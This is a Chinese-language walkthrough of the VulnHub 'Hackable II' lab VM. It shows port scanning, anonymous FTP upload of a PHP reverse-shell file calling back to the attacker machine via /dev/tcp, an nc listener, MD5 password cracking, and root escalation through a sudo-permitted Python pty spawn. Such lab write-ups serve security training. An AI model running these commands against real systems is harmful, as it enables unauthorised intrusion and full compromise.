渗透环境
攻击机: IP: 192.168.216.129(Kali)
靶机: IP:192.168.216.131
靶机下载地址:https://www.vulnhub.com/entry/hackable-ii,711/
进行渗透
一、 获取端口信息
该虚拟机导入VMware需要在拯救模式中重新配置一下网卡名称,附上教程,不再赘述:https://blog.csdn.net/liver100day/article/details/119109320
进行端口扫描
nmap -O -sV -p- -A 192.168.216.131
扫描WEB目录
打开CALL.html
,没有什么发现
尝试使用nmap扫描FTP服务,看是否允许匿名登录
nmap --script ftp-anon 192.168.216.131
扫描结果表明该主机的FTP服务允许匿名登录,且匿名用户能够访问至少一个文件(
CALL.html
)
登录FTP服务,用户名为anonymous
,密码不用输入(直接敲回车)
二、 寻找WEB漏洞
查看文件,并下载CALL.html
dir
get CALL.html
下载后浏览CALL.html
源码并未发现有用信息
尝试上传文件,在攻击机当前路径下写文件test.php
,内容如下:
<?=phpinfo();?>
通过FTP上传到目标机器
put test.php
上传成功,且在/files/
下可以看到该文件,访问该文件,发现可以成功解析
接下来的思路就比较清晰了,写一个PHP文件,触发时让目标机器反向连接我们的攻击机来反弹shell。
写trojan.php
,内容如下:
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.216.129/4444 0>&1'");?>
将其上传
put trojan.php
攻击机启动监听
nc -nlvp 4444
浏览器访问trojan.php
,触发木马进行反向连接
成功反弹shell
三、 提权
接下来进入/home
目录,可以看到一个shrek用户,另外还有一个important.txt
读取important.txt
提示我们运行/.runme.sh
后面的字符串显然是经过md5运算的,我们使用在线md5破解网站进行解码,得到密码:onion
创建交互式shell,切换到用户shrek
python3 -c 'import pty;pty.spawn("/bin/bash")'
su shrek
常规思路,查看一下具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null
没有什么发现
查看shrek用户可执行的特权命令
sudo -l
写一个py文件root.py
,内容如下:
echo 'import pty;pty.spawn("/bin/bash")' > root.py
该文件的作用就是打开一个交互式的shell
接下来执行
sudo /usr/bin/python3.5 /home/shrek/root.py
这里建议都使用绝对路径,相对路径有时无法成功执行。
这样就用root的身份登录了shell,渗透结束。